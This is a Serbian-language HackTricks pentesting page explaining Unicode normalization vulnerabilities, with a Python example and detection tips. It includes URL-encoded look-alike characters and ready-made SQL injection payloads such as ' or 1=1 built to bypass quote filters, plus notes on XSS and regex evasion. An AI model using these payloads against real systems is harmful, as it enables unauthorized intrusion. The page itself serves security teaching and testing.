hacktricks/pentesting-web/unicode-injection/unicode-normalization.md
2024-02-10 13:11:20 +00:00

8.6 KiB

Unicode normalizacija

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ovo je sažetak: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. Pogledajte za dalje detalje (slike preuzete sa tog mesta).

Razumevanje Unicode-a i normalizacije

Unicode normalizacija je proces koji osigurava da se različiti binarni prikazi karaktera standardizuju na istu binarnu vrednost. Ovaj proces je ključan prilikom rukovanja stringovima u programiranju i obradi podataka. Unicode standard definiše dve vrste ekvivalentnosti karaktera:

  1. Kanonička ekvivalentnost: Karakteri se smatraju kanonički ekvivalentnim ako imaju isti izgled i značenje prilikom štampanja ili prikazivanja.
  2. Kompatibilna ekvivalentnost: Slabija forma ekvivalentnosti gde karakteri mogu predstavljati isti apstraktni karakter, ali se mogu prikazivati na različite načine.

Postoje četiri algoritma za normalizaciju Unicode-a: NFC, NFD, NFKC i NFKD. Svaki algoritam koristi kanoničku i kompatibilnu normalizaciju na različite načine. Za dublje razumevanje, možete istražiti ove tehnike na Unicode.org.

Ključne tačke o kodiranju Unicode-a

Razumevanje kodiranja Unicode-a je ključno, posebno prilikom rukovanja interoperabilnim problemima među različitim sistemima ili jezicima. Evo glavnih tačaka:

  • Kodne tačke i karakteri: U Unicode-u, svakom karakteru ili simbolu je dodeljena numerička vrednost poznata kao "kodna tačka".
  • Prikaz bajtova: Kodna tačka (ili karakter) se predstavlja jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u engleskog govornom području) se predstavljaju koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za prikaz.
  • Kodiranje: Ovaj termin se odnosi na način na koji se karakteri transformišu u niz bajtova. UTF-8 je dominantni standard kodiranja gde se ASCII karakteri predstavljaju koristeći jedan bajt, a do četiri bajta za ostale karaktere.
  • Obrada podataka: Sistemi koji obrađuju podatke moraju biti svesni korišćenog kodiranja kako bi ispravno konvertovali niz bajtova u karaktere.
  • Varijante UTF: Osim UTF-8, postoje i drugi standardi kodiranja kao što su UTF-16 (koristeći minimalno 2 bajta, do 4) i UTF-32 (koristeći 4 bajta za sve karaktere).

Važno je razumeti ove koncepte kako biste efikasno rukovali i umanjili potencijalne probleme koji proizlaze iz kompleksnosti Unicode-a i njegovih različitih metoda kodiranja.

Primer kako Unicode normalizuje dva različita bajta koji predstavljaju isti karakter:

unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")

Ovde možete pronaći listu Unicode ekvivalentnih karaktera: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html i https://0xacb.com/normalization_table

Otkrivanje

Ako pronađete unutar web aplikacije vrednost koja se vraća, možete pokušati poslati 'KELVIN SIGN' (U+0212A) koji se normalizuje u "K" (možete ga poslati kao %e2%84%aa). Ako se vrati "K", onda se vrši neka vrsta Unicode normalizacije.

Drugi primer: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 nakon unicode je Leonishan.

Vulnerabilni primeri

Bypass SQL Injection filtera

Zamislite web stranicu koja koristi karakter ' za kreiranje SQL upita sa korisničkim unosom. Ova web stranica, kao sigurnosnu meru, briše sve pojave karaktera ' iz korisničkog unosa, ali nakon te brisanja i pre kreiranja upita, normalizuje korisnički unos koristeći Unicode.

Zatim, zlonamerni korisnik može umetnuti drugačiji Unicode karakter ekvivalentan ' (0x27) kao što je %ef%bc%87, kada se unos normalizuje, kreira se jednostruki navodnik i pojavljuje se SQLInjection ranjivost:

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

Neki interesantni Unicode karakteri

  • o -- %e1%b4%bc
  • r -- %e1%b4%bf
  • 1 -- %c2%b9
  • = -- %e2%81%bc
  • / -- %ef%bc%8f
  • --- %ef%b9%a3
  • #-- %ef%b9%9f
  • *-- %ef%b9%a1
  • ' -- %ef%bc%87
  • " -- %ef%bc%82
  • | -- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

sqlmap šablon

{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}

XSS (Cross Site Scripting)

Možete koristiti jedan od sledećih karaktera da prevarite web aplikaciju i iskoristite XSS:

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

Primetite da na primer prvi Unicode karakter može biti poslat kao: %e2%89%ae ili kao %u226e

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

Fuzzing Regexes

Kada backend proverava korisnički unos sa regexom, moguće je da se unos normalizuje za regex, ali ne i za mesto gde se koristi. Na primer, u Open Redirect ili SSRF, regex može normalizovati poslati URL, ali ga onda pristupiti onakvim kakav je.

Alatka recollapse omogućava generisanje varijacija unosa za fuzzing backenda. Za više informacija pogledajte github i ovaj post.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini da podržite HackTricks: